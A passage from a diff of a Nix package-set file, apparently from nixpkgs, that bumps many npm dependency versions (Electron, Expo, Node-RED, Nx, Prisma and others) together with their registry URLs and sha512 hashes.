"https://registry.npmjs.org/@edge-runtime/ponyfill/-/ponyfill-2.4.2.tgz"; + sha512 = "oN17GjFr69chu6sDLvXxdhg0Qe8EZviGSuqzR9qOiKh4MhFYGdBBcqRNzdmYeAdeRzOW2mM9yil4RftUQ7sUOA=="; }; }; - "@edge-runtime/primitives-4.0.5" = { + "@edge-runtime/primitives-4.1.0" = { name = "_at_edge-runtime_slash_primitives"; packageName = "@edge-runtime/primitives"; - version = "4.0.5"; + version = "4.1.0"; src = fetchurl { - url = "https://registry.npmjs.org/@edge-runtime/primitives/-/primitives-4.0.5.tgz"; - sha512 = "t7QiN5d/KpXgCvIfSt6Nm9Hj3WVdNgc5CpOD73jasY+9EvTI7Ngdj5cXvjcHrPcmYWJZMySPgeEeoL/1N/Llag=="; + url = "https://registry.npmjs.org/@edge-runtime/primitives/-/primitives-4.1.0.tgz"; + sha512 = "Vw0lbJ2lvRUqc7/soqygUX216Xb8T3WBZ987oywz6aJqRxcwSVWwr9e+Nqo2m9bxobA9mdbWNNoRY6S9eko1EQ=="; }; }; - "@edge-runtime/vm-3.1.7" = { + "@edge-runtime/vm-3.2.0" = { name = "_at_edge-runtime_slash_vm"; packageName = "@edge-runtime/vm"; - version = "3.1.7"; + version = "3.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@edge-runtime/vm/-/vm-3.1.7.tgz"; - sha512 = "hUMFbDQ/nZN+1TLMi6iMO1QFz9RSV8yGG8S42WFPFma1d7VSNE0eMdJUmwjmtav22/iQkzHMmu6oTSfAvRGS8g=="; + url = "https://registry.npmjs.org/@edge-runtime/vm/-/vm-3.2.0.tgz"; + sha512 = "0dEVyRLM/lG4gp1R/Ik5bfPl/1wX00xFwd5KcNH602tzBa09oF7pbTKETEhR1GjZ75K6OJnYFu8II2dyMhONMw=="; }; }; "@electron-forge/core-7.2.0" = { @@ -4360,13 +4369,13 @@ let sha512 = "hLv4BYFiyrNRI+U0Mm2X7RxCCdJLkDUn8GCEp9QJzbLpZRko+UaLlCjOMkj6TEtirNLPyBA7y1SeGfnpOB21aQ=="; }; }; - "@electron/notarize-2.2.1" = { + "@electron/notarize-2.3.0" = { name = "_at_electron_slash_notarize"; packageName = "@electron/notarize"; - version = "2.2.1"; + version = "2.3.0"; src = fetchurl { - url = "https://registry.npmjs.org/@electron/notarize/-/notarize-2.2.1.tgz"; - sha512 = "aL+bFMIkpR0cmmj5Zgy0LMKEpgy43/hw5zadEArgmAMWWlKc5buwFvFT9G/o/YJkvXAJm5q3iuTuLaiaXW39sg=="; + url = "https://registry.npmjs.org/@electron/notarize/-/notarize-2.3.0.tgz"; + sha512 = "EiTBU0BwE7HZZjAG1fFWQaiQpCuPrVGn7jPss1kUjD6eTTdXXd29RiZqEqkgN7xqt/Pgn4g3I7Saqovanrfj3w=="; }; }; "@electron/osx-sign-1.0.5" = { @@ -4405,13 +4414,13 @@ let sha512 = "fKpv9kg4SPmt+hY7SVBnIYULE9QJl8L3sCfcBsnqbJwwBwAeTLokJ9TRt9y7bK0JAzIW2y78TVVjvnQEms/yyA=="; }; }; - "@electron/windows-sign-1.0.0" = { + "@electron/windows-sign-1.1.1" = { name = "_at_electron_slash_windows-sign"; packageName = "@electron/windows-sign"; - version = "1.0.0"; + version = "1.1.1"; src = fetchurl { - url = "https://registry.npmjs.org/@electron/windows-sign/-/windows-sign-1.0.0.tgz"; - sha512 = "sdkQYAR/TQCEyYgz2jMbusL/ljdj6qA7vyIm/S9HICMAitXhXROFHUOLLgiORj1uiaf2EOB2U33DatGubUuZaQ=="; + url = "https://registry.npmjs.org/@electron/windows-sign/-/windows-sign-1.1.1.tgz"; + sha512 = "g8/atfOCKuuGedjVE6Xu/rlBtJvfDrmBH9UokBrjrvBVWdVz3SGV7DTjPTLvl7F+XUlmqj4genub62r3jKHIHw=="; }; }; "@emmetio/abbreviation-2.3.3" = { @@ -4963,13 +4972,13 @@ let sha512 = "V8gMy1C63oAYlvkSjhfGYOET7sOmRIUAYv/wVcKJZiVAMZ5MQ2geeXCpLGC4+vuOQe2Hs3+qAgl4y0/b8OUO+A=="; }; }; - "@expo/apple-utils-1.3.2" = { + "@expo/apple-utils-1.4.0" = { name = "_at_expo_slash_apple-utils"; packageName = "@expo/apple-utils"; - version = "1.3.2"; + version = "1.4.0"; src = fetchurl { - url = "https://registry.npmjs.org/@expo/apple-utils/-/apple-utils-1.3.2.tgz"; - sha512 = "8utf2r+ka9uI1qhazBEbLzjPX0CIBvvpBHy0o4XFoLUiZDvBqGBEctduvJc49hvu/16hxVtNqGXs1U97OVKe4g=="; + url = "https://registry.npmjs.org/@expo/apple-utils/-/apple-utils-1.4.0.tgz"; + sha512 = "tbSWy10f/xdfUb3TZkshRLk4zIuG2wNIyuypUX1jvDrOt0bokSbwmIVYkkLRazZ+mOR0ZRcDUuBHKkZmyGuegQ=="; }; }; "@expo/bunyan-4.0.0" = { @@ -5107,31 +5116,22 @@ let sha512 = "ghUVhNJQOCTdQckSGTHctNp/0jzvVoMMkVh+6SHn+TZj8sU15U/npXIDt8NtQp0HedlPaCgkVdMu8Sacne0aEA=="; }; }; - "@expo/eas-build-job-1.0.56" = { - name = "_at_expo_slash_eas-build-job"; - packageName = "@expo/eas-build-job"; - version = "1.0.56"; - src = fetchurl { - url = "https://registry.npmjs.org/@expo/eas-build-job/-/eas-build-job-1.0.56.tgz"; - sha512 = "OfPSvvcFIpt1SRnoxWMmUgHT7YuhZM10iYftBX4UqjgwjKIkmOpJUOgkmTd3cJMOaZRLP4MI4zsmk2gy9RCO9g=="; - }; - }; - "@expo/eas-build-job-1.0.59" = { + "@expo/eas-build-job-1.0.61" = { name = "_at_expo_slash_eas-build-job"; packageName = "@expo/eas-build-job"; - version = "1.0.59"; + version = "1.0.61"; src = fetchurl { - url = "https://registry.npmjs.org/@expo/eas-build-job/-/eas-build-job-1.0.59.tgz"; - sha512 = "oFOn8hbJbfpjrYM39yejnvlD9qMgK/zRuQ9PnzruIygOxDrBn1nnOAO9Jm0kWBGAPJVDAJRQ2exOgHVY+tAAEw=="; + url = "https://registry.npmjs.org/@expo/eas-build-job/-/eas-build-job-1.0.61.tgz"; + sha512 = "dlE88FLPShcJio7BYybuUilEgm41oxCkgGHET3PLvLRQsC3qCkV3jlSCQyQTxwCEamWKTlxS8pDMyb0s1OfqUA=="; }; }; - "@expo/eas-json-7.1.2" = { + "@expo/eas-json-7.1.3" = { name = "_at_expo_slash_eas-json"; packageName = "@expo/eas-json"; - version = "7.1.2"; + version = "7.1.3"; src = fetchurl { - url = "https://registry.npmjs.org/@expo/eas-json/-/eas-json-7.1.2.tgz"; - sha512 = "wJsBNnJf5anSvMoOp8R39KIItZJihgik17eVdDANs71aeHPD64VIe39NfGDocxZPYHDRjvuMFui/NrR+T88rcg=="; + url = "https://registry.npmjs.org/@expo/eas-json/-/eas-json-7.1.3.tgz"; + sha512 = "BI3MF1HtIOHf1Fxa4JjGt/Im1Cz7dv063SNmZ5EFrBBvz0yQsGcWxTetdl0RbcUpBGIWWCJ+0gqK2fLXb03z6g=="; }; }; "@expo/fingerprint-0.6.0" = { @@ -5206,13 +5206,13 @@ let sha512 = "yROUeXJXR5goagB8c3muFLCzLmdGOvoPpR5yDNaXrnTp4euNykr9yW0wWhJx4YVRTNOPtGBnEbbJBW+a9q+S6g=="; }; }; - "@expo/logger-1.0.37" = { + "@expo/logger-1.0.57" = { name = "_at_expo_slash_logger"; packageName = "@expo/logger"; - version = "1.0.37"; + version = "1.0.57"; src = fetchurl { - url = "https://registry.npmjs.org/@expo/logger/-/logger-1.0.37.tgz"; - sha512 = "Xx3pt7FCsUkjsnu3lJoGp/LXYqoa5TyYx1/lgvfz4NSRgUT+5f6LNiYIowUjXab80PbW3gA/KqHYY9V7iZm8aQ=="; + url = "https://registry.npmjs.org/@expo/logger/-/logger-1.0.57.tgz"; + sha512 = "kd/1MOrVST9gQtnTD+qAV3KdrYCV9oShzIqYek+5XI3M/6QNvfv8IPr2pv+xaYZoCZgnNdI4ViWo0eYBDJMngA=="; }; }; "@expo/metro-config-0.6.0" = { @@ -5422,13 +5422,13 @@ let sha512 = "QdWi16+CHB9JYP7gma19OVVg0BFkvU8zNj9GjWorYI8Iv8FUxjOCcYRuAmX4s/h91e4e7BPsskc8cSrZYho9Ew=="; }; }; - "@expo/steps-1.0.51" = { + "@expo/steps-1.0.67" = { name = "_at_expo_slash_steps"; packageName = "@expo/steps"; - version = "1.0.51"; + version = "1.0.67"; src = fetchurl { - url = "https://registry.npmjs.org/@expo/steps/-/steps-1.0.51.tgz"; - sha512 = "S+2ESok2+kMjqWqJIK6p7Uk3aXf0hEbl7x10n1QBQdFzpkQmcNmpyNguOiFYyaj9dRleG2aPbwCv942m37VQWw=="; + url = "https://registry.npmjs.org/@expo/steps/-/steps-1.0.67.tgz"; + sha512 = "vgmCke1yNj9OjxzzQuTlAnNYI452X6s8VDmSe/olFsJfA+8F3g8coi7CJ3j+rzrpY+LvVYTC27/84Mno0uQSrg=="; }; }; "@expo/timeago.js-1.0.0" = { @@ -5512,31 +5512,31 @@ let sha512 = "k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw=="; }; }; - "@gitbeaker/core-39.34.1" = { + "@gitbeaker/core-39.34.2" = { name = "_at_gitbeaker_slash_core"; packageName = "@gitbeaker/core"; - version = "39.34.1"; + version = "39.34.2"; src = fetchurl { - url = "https://registry.npmjs.org/@gitbeaker/core/-/core-39.34.1.tgz"; - sha512 = "burkkdEwRzk8aJq/UF9vVH9+F3yZKXHe2tpLsIgTwXG975Q2wSYbHRIsvJeslPR4s378bXEg/KoSMYcfB7WGQg=="; + url = "https://registry.npmjs.org/@gitbeaker/core/-/core-39.34.2.tgz"; + sha512 = "Vs1BKnEMnHltq1nMuBKxust1E+JUroDVKLy87ElLgvjAkH726mEVJCFnNC2/o2Ru7Et2qqhFN+PlUeYzzAbU2w=="; }; }; - "@gitbeaker/requester-utils-39.34.1" = { + "@gitbeaker/requester-utils-39.34.2" = { name = "_at_gitbeaker_slash_requester-utils"; packageName = "@gitbeaker/requester-utils"; - version = "39.34.1"; + version = "39.34.2"; src = fetchurl { - url = "https://registry.npmjs.org/@gitbeaker/requester-utils/-/requester-utils-39.34.1.tgz"; - sha512 = "+7V7lJaIHS5L8NOi8O6THpBjB4soaCH5XEnG88uebGLCfUfvW3eR8pV02K3wS/9pVr3ASmz/7pFZnoCUUXZi8w=="; + url = "https://registry.npmjs.org/@gitbeaker/requester-utils/-/requester-utils-39.34.2.tgz"; + sha512 = "ToCwNKQe/+uHjB2kPTXY72SvbAyjsPABb9T1EiMGuVahk6rWdhtVZIM659rGuqdJGTqQ4y18wk0A+w6D3Z2lCQ=="; }; }; - "@gitbeaker/rest-39.34.1" = { + "@gitbeaker/rest-39.34.2" = { name = "_at_gitbeaker_slash_rest"; packageName = "@gitbeaker/rest"; - version = "39.34.1"; + version = "39.34.2"; src = fetchurl { - url = "https://registry.npmjs.org/@gitbeaker/rest/-/rest-39.34.1.tgz"; - sha512 = "8v09WmKMexRiApxKDN2C6kzMX3LFxGMTr2h+XaaZWRvN+pgINGUwlzYo8OL53NuCG/LqKoaUfSweUlUjfd6b5A=="; + url = "https://registry.npmjs.org/@gitbeaker/rest/-/rest-39.34.2.tgz"; + sha512 = "MT4Vue1ltvsR7Nug18A6DIk+u+gu64+b0Un/R2XIsLB7eSAX8Pm/sQnYxsjHksroZJVlyGHiGsaxbllX75Pntg=="; }; }; "@grammarly/sdk-1.11.0" = { @@ -5629,13 +5629,13 @@ let sha512 = "llfLyRpmXqMX6kM3AvepviTxi06UTutphJljQupoU8FaTh0OcGFPjLjVSbgP7tOqI6lD1YbPR7qY83vDeYLarA=="; }; }; - "@graphql-tools/executor-http-1.0.7" = { + "@graphql-tools/executor-http-1.0.8" = { name = "_at_graphql-tools_slash_executor-http"; packageName = "@graphql-tools/executor-http"; - version = "1.0.7"; + version = "1.0.8"; src = fetchurl { - url = "https://registry.npmjs.org/@graphql-tools/executor-http/-/executor-http-1.0.7.tgz"; - sha512 = "/MoRYzQS50Tz5mxRfq3ZmeZ2SOins9wGZAGetsJ55F3PxL0PmHdSGlCq12KzffZDbwHV5YMlwigBsSGWq4y9Iw=="; + url = "https://registry.npmjs.org/@graphql-tools/executor-http/-/executor-http-1.0.8.tgz"; + sha512 = "tBHT4aRkMCeyo+tcfEz7znqdd4QqoYF9vY1YTSo2+FV00usBB+R1YL3YaINBQNVkSVpZ41elffoF/fjI+QE8ZQ=="; }; }; "@graphql-tools/executor-legacy-ws-1.0.5" = { @@ -5944,13 +5944,13 @@ let sha512 = "7TyMjRrZZMBPa+/5Y8lN0iyvUU/01PeMGX2+RE7cQWpEUIcb4QotzUObFkJDejj/HUH4qjP/eQ0gzzKs2f+6Yw=="; }; }; - "@hpcc-js/wasm-2.15.3" = { + "@hpcc-js/wasm-2.16.0" = { name = "_at_hpcc-js_slash_wasm"; packageName = "@hpcc-js/wasm"; - version = "2.15.3"; + version = "2.16.0"; src = fetchurl { - url = "https://registry.npmjs.org/@hpcc-js/wasm/-/wasm-2.15.3.tgz"; - sha512 = "enmVW4APrv6jBCRP5V/WdIjYvxidNgBbgdWOdLpiygoE0g0ZurM1qsysBo4TbZfdS81SCdkjRSU/URWf+gpQUA=="; + url = "https://registry.npmjs.org/@hpcc-js/wasm/-/wasm-2.16.0.tgz"; + sha512 = "e2aPTthjER80Kt/BZPHKksm6YjyMul4qUDDbIxhZYjbUvrxy9ogDr81P4pa1DSUIMzQ1f/7yCC22SBYIa3j5gg=="; }; }; "@httptoolkit/websocket-stream-6.0.1" = { @@ -6160,13 +6160,13 @@ let sha512 = "RzlRISXWqIKEf83FDC9ZtJ3JvuK1l7aGpretf41BCWYrvla2wU8W8MTRNMiPrPJ+1SIqrRC1nZdZ60hD9hRXLg=="; }; }; - "@inquirer/type-1.1.6" = { + "@inquirer/type-1.2.0" = { name = "_at_inquirer_slash_type"; packageName = "@inquirer/type"; - version = "1.1.6"; + version = "1.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@inquirer/type/-/type-1.1.6.tgz"; - sha512 = "OCKOpn0CrFDslR8s3who7hlr823zXTb1iShGCaaWgEJFfkIV0T9aLZV2QGnOuU78IrsPYLkr3oKx9dZwwCH3Rw=="; + url = "https://registry.npmjs.org/@inquirer/type/-/type-1.2.0.tgz"; + sha512 = "/vvkUkYhrjbm+RolU7V1aUFDydZVKNKqKHR5TsE+j5DXgXFwrsOPcoGUJ02K0O7q7O53CU2DOTMYCHeGZ25WHA=="; }; }; "@isaacs/cliui-8.0.2" = { @@ -6610,13 +6610,13 @@ let sha512 = "HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ=="; }; }; - "@jridgewell/resolve-uri-3.1.1" = { + "@jridgewell/resolve-uri-3.1.2" = { name = "_at_jridgewell_slash_resolve-uri"; packageName = "@jridgewell/resolve-uri"; - version = "3.1.1"; + version = "3.1.2"; src = fetchurl { - url = "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz"; - sha512 = "dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA=="; + url = "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz"; + sha512 = "bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="; }; }; "@jridgewell/set-array-1.1.2" = { @@ -6763,13 +6763,13 @@ let sha512 = "Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A=="; }; }; - "@lerna/create-8.0.2" = { + "@lerna/create-8.1.2" = { name = "_at_lerna_slash_create"; packageName = "@lerna/create"; - version = "8.0.2"; + version = "8.1.2"; src = fetchurl { - url = "https://registry.npmjs.org/@lerna/create/-/create-8.0.2.tgz"; - sha512 = "AueSlfiYXqEmy9/EIc17mjlaHFuv734dfgVBegyoefIA7hdeoExtsXnACWf8Tw5af6gwyTL3KAp6QQyc1sTuZQ=="; + url = "https://registry.npmjs.org/@lerna/create/-/create-8.1.2.tgz"; + sha512 = "GzScCIkAW3tg3+Yn/MKCH9963bzG+zpjGz2NdfYDlYWI7p0f/SH46v1dqpPpYmZ2E/m3JK8HjTNNNL8eIm8/YQ=="; }; }; "@lezer/common-1.2.1" = { @@ -6934,13 +6934,13 @@ let sha512 = "Yhlar6v9WQgUp/He7BdgzOz8lqMQ8sU+jkCq7Wx8Myc5YFJLbEe7lgui/V7G1qB1DJykHSGwreceSaD60Y0PUQ=="; }; }; - "@microsoft/applicationinsights-web-snippet-1.0.1" = { + "@microsoft/applicationinsights-web-snippet-1.1.1" = { name = "_at_microsoft_slash_applicationinsights-web-snippet"; packageName = "@microsoft/applicationinsights-web-snippet"; - version = "1.0.1"; + version = "1.1.1"; src = fetchurl { - url = "https://registry.npmjs.org/@microsoft/applicationinsights-web-snippet/-/applicationinsights-web-snippet-1.0.1.tgz"; - sha512 = "2IHAOaLauc8qaAitvWS+U931T+ze+7MNWrDHY47IENP5y2UA0vqJDu67kWZDdpCN1fFC77sfgfB+HV7SrKshnQ=="; + url = "https://registry.npmjs.org/@microsoft/applicationinsights-web-snippet/-/applicationinsights-web-snippet-1.1.1.tgz"; + sha512 = "uITh+P/cfN+nkUfazVt9paML6rjc6H/VWdw0jb4PUj7JG1w4hamjxkYWFvDjMZfhZ75tC4kgepPgOeG2i610Qg=="; }; }; "@microsoft/fetch-event-source-2.0.1" = { @@ -7042,58 +7042,58 @@ let sha512 = "fL1wpr8hhD5gT2dA1qifeVaoDFlQR5es8tFuKqjHX+kdOtdNHnxkVZbtIrR2rxnMFvehkjaZRNV2H/gPXlb0hw=="; }; }; - "@node-red/editor-api-3.1.3" = { + "@node-red/editor-api-3.1.5" = { name = "_at_node-red_slash_editor-api"; packageName = "@node-red/editor-api"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/@node-red/editor-api/-/editor-api-3.1.3.tgz"; - sha512 = "Waj2cln+OtrrfgKq38JaGbfE0e9ntP5NbDQCxyh1s0dM/9SUrS+LDEuB50Q6CFzKO8JT6VuX2HC3u62slRy/Hw=="; + url = "https://registry.npmjs.org/@node-red/editor-api/-/editor-api-3.1.5.tgz"; + sha512 = "j8NiT5SdjC0PUtmZ4nD17MJSer8Mt579+8TrufEduTpt1tOcJtxwMtW9463eQHsu7dceSwduJyV5mr9CL8ldDw=="; }; }; - "@node-red/editor-client-3.1.3" = { + "@node-red/editor-client-3.1.5" = { name = "_at_node-red_slash_editor-client"; packageName = "@node-red/editor-client"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/@node-red/editor-client/-/editor-client-3.1.3.tgz"; - sha512 = "eBtkXV6K46v1cc9glOKYRr7vNZLUJoFiR7c4Vl8g+1JLjNC+E0ZFwZ+E731VkXDONNn+gN2JsP61XuTgOg15Jg=="; + url = "https://registry.npmjs.org/@node-red/editor-client/-/editor-client-3.1.5.tgz"; + sha512 = "dw7v3u0664BYDLb/u0uOLxvlJwHOXzY7YgGiqA/FuMv+KB1UPu3b5j9o7MbdHN1I4KxnGVdiTin9+WcOBO/GgQ=="; }; }; - "@node-red/nodes-3.1.3" = { + "@node-red/nodes-3.1.5" = { name = "_at_node-red_slash_nodes"; packageName = "@node-red/nodes"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/@node-red/nodes/-/nodes-3.1.3.tgz"; - sha512 = "df69zxOLzoQ4dud+O8FWDf5zGVzNFRintveIVBDd+cTvOLClzrRp52H7JBCEzRwZJk6NM3eevO7CMG98BRHSWA=="; + url = "https://registry.npmjs.org/@node-red/nodes/-/nodes-3.1.5.tgz"; + sha512 = "Yib+/0LkSdkqjgE6pgRL9mSWJXdjPpDx+OUEKjTDCrhjcATzrs3HT3fIkdGLOoSUXHP5hhgsLDTAkl2jfemArA=="; }; }; - "@node-red/registry-3.1.3" = { + "@node-red/registry-3.1.5" = { name = "_at_node-red_slash_registry"; packageName = "@node-red/registry"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/@node-red/registry/-/registry-3.1.3.tgz"; - sha512 = "1vkBd438Mixg9VoVcNmX87W9mqc5ix1uCgSnE64atH9SExWzt72h+uoy+bFEQefuWOJ27hUcXZQ2SgBaUgZuCg=="; + url = "https://registry.npmjs.org/@node-red/registry/-/registry-3.1.5.tgz"; + sha512 = "Twf6d9R31F9/yo/N+KTjzgh8E3bALWmCgiZ6ROle/a2qzNaKj3qE8WeFSh4D06FWzmICv4gfkyGN7jmE0a6peg=="; }; }; - "@node-red/runtime-3.1.3" = { + "@node-red/runtime-3.1.5" = { name = "_at_node-red_slash_runtime"; packageName = "@node-red/runtime"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/@node-red/runtime/-/runtime-3.1.3.tgz"; - sha512 = "tW1pOnzbNUgnHIop7eHiEGw6G2dR38bc0SRIp+9go2ewVHuIfpRBWlxyD6zpInJZ2Mszc0FrG7H5+o8lGwFlng=="; + url = "https://registry.npmjs.org/@node-red/runtime/-/runtime-3.1.5.tgz"; + sha512 = "GS+Aa3XrnQjgyR6ZJQL6z20ONeiBAacPLLKQeHrEoEpsRSyOprjHu267WRi73KhmCG1t/hYmIi0Uv+JOB1GnLA=="; }; }; - "@node-red/util-3.1.3" = { + "@node-red/util-3.1.5" = { name = "_at_node-red_slash_util"; packageName = "@node-red/util"; - version = "3.1.3"; + version = "3.1.5"; src = fetchurl { - url = "https://registry.npmjs.org/@node-red/util/-/util-3.1.3.tgz"; - sha512 = "RWr5uY/xyL8NRFTR+Q8aniwce6cJQXsFZxniSyVxRwZJCfUaugR3juwOQMHq8adw9G1Og3lw1hkJ0uGceMfnKg=="; + url = "https://registry.npmjs.org/@node-red/util/-/util-3.1.5.tgz"; + sha512 = "yLui/6FbgL0HVBWUq76cru9lf5VDCw+j60rUQd/iDwa41dXR5lxiBpM+T9BGCFUlroK2F0XcH6qq4r+dnfANxg=="; }; }; "@nodelib/fs.scandir-2.1.5" = { @@ -7123,13 +7123,13 @@ let sha512 = "oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="; }; }; - "@npmcli/agent-2.2.0" = { + "@npmcli/agent-2.2.1" = { name = "_at_npmcli_slash_agent"; packageName = "@npmcli/agent"; - version = "2.2.0"; + version = "2.2.1"; src = fetchurl { - url = "https://registry.npmjs.org/@npmcli/agent/-/agent-2.2.0.tgz"; - sha512 = "2yThA1Es98orMkpSLVqlDZAMPK3jHJhifP2gnNUdk1754uZ8yI5c+ulCoVG+WlntQA6MzhrURMXjSd9Z7dJ2/Q=="; + url = "https://registry.npmjs.org/@npmcli/agent/-/agent-2.2.1.tgz"; + sha512 = "H4FrOVtNyWC8MUwL3UfjOsAihHvT1Pe8POj3JvjXhSTJipsZMtgUALCT4mGyYZNxymkUfOw3PUj6dE4QPp6osQ=="; }; }; "@npmcli/config-6.4.0" = { @@ -7276,31 +7276,31 @@ let sha512 = "9ApYM/3+rBt9V80aYg6tZfzj3UWdiYyCt7gJUD1VJKvWF5nwKDSICXbYIQbspFTq6TOpbsEtIC0LArB8d9PFmg=="; }; }; - "@nrwl/devkit-17.3.1" = { + "@nrwl/devkit-18.0.4" = { name = "_at_nrwl_slash_devkit"; packageName = "@nrwl/devkit"; - version = "17.3.1"; + version = "18.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@nrwl/devkit/-/devkit-17.3.1.tgz"; - sha512 = "MtHlsdErSz0Z1j8j+qAKUafWzMs3XcHgXmJomjUzect1jS/HtmbcDvdMv9GwVtk+67JD+7ca2CWjk2atv6dZdw=="; + url = "https://registry.npmjs.org/@nrwl/devkit/-/devkit-18.0.4.tgz"; + sha512 = "fKHnjg4/9MdFd2U4e8p6ja9fRa864DCyF70kB4YUB9NuUIgWLQ15Uj6wXC3xjdXmxQRyHDa7ORodVoFzdo4UCg=="; }; }; - "@nrwl/tao-17.3.1" = { + "@nrwl/tao-18.0.4" = { name = "_at_nrwl_slash_tao"; packageName = "@nrwl/tao"; - version = "17.3.1"; + version = "18.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@nrwl/tao/-/tao-17.3.1.tgz"; - sha512 = "bohZt2rzqCz2ITOpQ6H7sYlHhxn3NftHDz0a0QVVDJojjpak73r8XV0zCk2yUN2T8HdRJVyYLyAqDENl9X48pA=="; + url = "https://registry.npmjs.org/@nrwl/tao/-/tao-18.0.4.tgz"; + sha512 = "/PzGOJevlDQnp5RPXF3WDe+w1cdohGkY+mbJUgDVA4Q5JEPT1DtE10h9GgdHdzkPjVPNYsaI4Vs/53NUdlVHHA=="; }; }; - "@nx/devkit-17.3.1" = { + "@nx/devkit-18.0.4" = { name = "_at_nx_slash_devkit"; packageName = "@nx/devkit"; - version = "17.3.1"; + version = "18.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@nx/devkit/-/devkit-17.3.1.tgz"; - sha512 = "E44feT7x/pGTzMWSndjTAoBXvZYEdy2SU99O14LdW7atUK4gv0glKUfyq6nNFULrs6r173WKfJgfmJDL3l78lg=="; + url = "https://registry.npmjs.org/@nx/devkit/-/devkit-18.0.4.tgz"; + sha512 = "Vs1AXgOjMJyaWpKopD04dy0FwQ22n5ZR1bFf98Ab4Ht0WJwJE90IpUVAkwI03n5BYxAKOlQnFltsB4gu6Y8mZQ=="; }; }; "@oclif/color-1.0.13" = { @@ -8689,13 +8689,13 @@ let sha512 = "3ttOeHBpmWRbgJrpDQ8Nwd3W8s8iuiP5YZM0JRyKWaMtX8lu9d7/AKyxPmhYsMJuN+q/1dwHa7QFeDZJ53b0oA=="; }; }; - "@pnpm/dependency-path-2.1.7" = { + "@pnpm/dependency-path-2.1.8" = { name = "_at_pnpm_slash_dependency-path"; packageName = "@pnpm/dependency-path"; - version = "2.1.7"; + version = "2.1.8"; src = fetchurl { - url = "https://registry.npmjs.org/@pnpm/dependency-path/-/dependency-path-2.1.7.tgz"; - sha512 = "/q3xNNgAEKkG0FvU8o/6B06nrBhSl1i34ZMEQDOhHFMDzS0mWqnIogb54seVKySNxfdJdyqfedjNnNIzKrPbkg=="; + url = "https://registry.npmjs.org/@pnpm/dependency-path/-/dependency-path-2.1.8.tgz"; + sha512 = "ywBaTjy0iSEF7lH3DlF8UXrdL2bw4AQFV2tTOeNeY7wc1W5CE+RHSJhf9MXBYcZPesqGRrPiU7Pimj3l05L9VA=="; }; }; "@pnpm/error-1.4.0" = { @@ -8815,22 +8815,22 @@ let sha512 = "2LuNTFBIO0m7kKIQvvPHN6UE63VjpmL9rnEEaOOaiSPbZK+zUOYIzBAWcED+3XYzhYsd/0mD57VdxAEqqV52CQ=="; }; }; - "@prisma/debug-5.9.0" = { + "@prisma/debug-5.9.1" = { name = "_at_prisma_slash_debug"; packageName = "@prisma/debug"; - version = "5.9.0"; + version = "5.9.1"; src = fetchurl { - url = "https://registry.npmjs.org/@prisma/debug/-/debug-5.9.0.tgz"; - sha512 = "3Uhj5YSPqaIfzJQ6JQzCNBXeBTy0x803fGIoo2tvP/KIEd+o4o49JxCQtKtP8aeef5iNh5Nn9Z25wDrdLjS80A=="; + url = "https://registry.npmjs.org/@prisma/debug/-/debug-5.9.1.tgz"; + sha512 = "yAHFSFCg8KVoL0oRUno3m60GAjsUKYUDkQ+9BA2X2JfVR3kRVSJFc/GpQ2fSORi4pSHZR9orfM4UC9OVXIFFTA=="; }; }; - "@prisma/engines-5.9.0" = { + "@prisma/engines-5.9.1" = { name = "_at_prisma_slash_engines"; packageName = "@prisma/engines"; - version = "5.9.0"; + version = "5.9.1"; src = fetchurl { - url = "https://registry.npmjs.org/@prisma/engines/-/engines-5.9.0.tgz"; - sha512 = "BH1fpXbMH09TwfZH5FVMJwRp6afEhKzqwebbCLdaEkJDuhxA//iwbILLqGFtGTgZbdBNUOThIK+UC3++5kWMTg=="; + url = "https://registry.npmjs.org/@prisma/engines/-/engines-5.9.1.tgz"; + sha512 = "gkdXmjxQ5jktxWNdDA5aZZ6R8rH74JkoKq6LD5mACSvxd2vbqWeWIOV0Py5wFC8vofOYShbt6XUeCIUmrOzOnQ=="; }; }; "@prisma/engines-version-5.9.0-32.23fdc5965b1e05fc54e5f26ed3de66776b93de64" = { @@ -8842,22 +8842,22 @@ let sha512 = "HFl7275yF0FWbdcNvcSRbbu9JCBSLMcurYwvWc8WGDnpu7APxQo2ONtZrUggU3WxLxUJ2uBX+0GOFIcJeVeOOQ=="; }; }; - "@prisma/fetch-engine-5.9.0" = { + "@prisma/fetch-engine-5.9.1" = { name = "_at_prisma_slash_fetch-engine"; packageName = "@prisma/fetch-engine"; - version = "5.9.0"; + version = "5.9.1"; src = fetchurl { - url = "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-5.9.0.tgz"; - sha512 = "NL8Vm8Vl2d6NOSkkPGN5TTTz4s6cyCleXOzqtOFWzfKFJ4wtN2Shu7llOT+ykf6nDzh1lCN2JHUt1S6FGFZGig=="; + url = "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-5.9.1.tgz"; + sha512 = 